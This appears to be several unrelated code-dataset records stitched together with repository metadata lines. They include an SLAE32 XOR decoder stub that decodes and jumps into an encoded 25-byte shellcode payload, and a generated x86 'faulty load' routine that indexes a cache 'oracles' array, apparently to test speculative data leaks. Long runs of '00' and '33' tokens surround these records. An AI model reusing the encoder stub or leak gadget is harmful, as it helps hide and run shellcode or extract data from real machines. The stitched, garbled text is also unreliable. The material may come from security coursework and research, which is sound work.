00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.406061
2,999
0.654884
44c7e95002dec65e65b4f4efa30df448464c03bf
689
nasm
Assembly
decoder.nasm
SpacePlant/slae32
2c8c7112219e1018253d7b1957c6ad8b15f379ae
[ "MIT" ]
null
null
null
decoder.nasm
SpacePlant/slae32
2c8c7112219e1018253d7b1957c6ad8b15f379ae
[ "MIT" ]
null
null
null
decoder.nasm
SpacePlant/slae32
2c8c7112219e1018253d7b1957c6ad8b15f379ae
[ "MIT" ]
null
null
null
global _start payload_size equ 25 ; payload size without iv section .text _start: ; Copy the address of the encoded payload to ESI. jmp call_decoder decoder: pop esi ; Initialize ECX to the payload size to use it as a loop counter. xor ecx, ecx mov cl, payload_size xor eax, eax decode: ; Decode a byte of the payload and loop. mov al, [esi + 1] xor [esi], al inc esi loop decode ; Execute the payload. jmp payload call_decoder: call decoder payload: db 0x46, 0x77, 0xb7, 0xe7, 0x8f, 0xa0, 0x8f, 0xfc, 0x94, 0xfc, 0xd3, 0xb1, 0xd8, 0xb6, 0x3f, 0xdc, 0x8c, 0x05, 0xe7, 0xb4, 0x3d, 0xdc, 0x6c, 0x67, 0xaa, 0x2a
21.53125
170
0.651669
4fdcdb0acfd8b782594ceacde29cf5073192a666
5,692
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2024.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2024.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2024.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r9 push %rdi push %rdx push %rsi lea addresses_normal_ht+0x5837, %rsi nop nop nop and $47739, %r14 mov $0x6162636465666768, %r9 movq %r9, (%rsi) nop nop nop sub %rdx, %rdx lea addresses_normal_ht+0x437, %rdi xor %r10, %r10 movb (%rdi), %r12b nop sub $14268, %rdi lea addresses_UC_ht+0x10a37, %rdx dec %r10 movb (%rdx), %r14b nop nop xor $24142, %rsi pop %rsi pop %rdx pop %rdi pop %r9 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r9 push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0x4027, %rsi lea addresses_PSE+0x1107, %rdi nop nop sub %r10, %r10 mov $98, %rcx rep movsw nop nop sub $42843, %rsi // Store mov $0x43f9df0000000237, %r15 nop nop nop cmp $32283, %rsi mov $0x5152535455565758, %rdi movq %rdi, %xmm2 movups %xmm2, (%r15) nop nop nop nop nop add %rsi, %rsi // Store mov $0xe39, %r10 nop nop nop add $8922, %rsi mov $0x5152535455565758, %r15 movq %r15, %xmm3 movups %xmm3, (%r10) nop nop nop nop cmp %rcx, %rcx // Store mov $0x237, %r9 nop and %r12, %r12 mov $0x5152535455565758, %rcx movq %rcx, %xmm0 movups %xmm0, (%r9) add $20403, %rsi // Faulty Load lea addresses_PSE+0x1ba37, %rcx nop nop nop nop and $21234, %r10 movups (%rcx), %xmm4 vpextrq $1, %xmm4, %rsi lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
40.084507
2,999
0.65636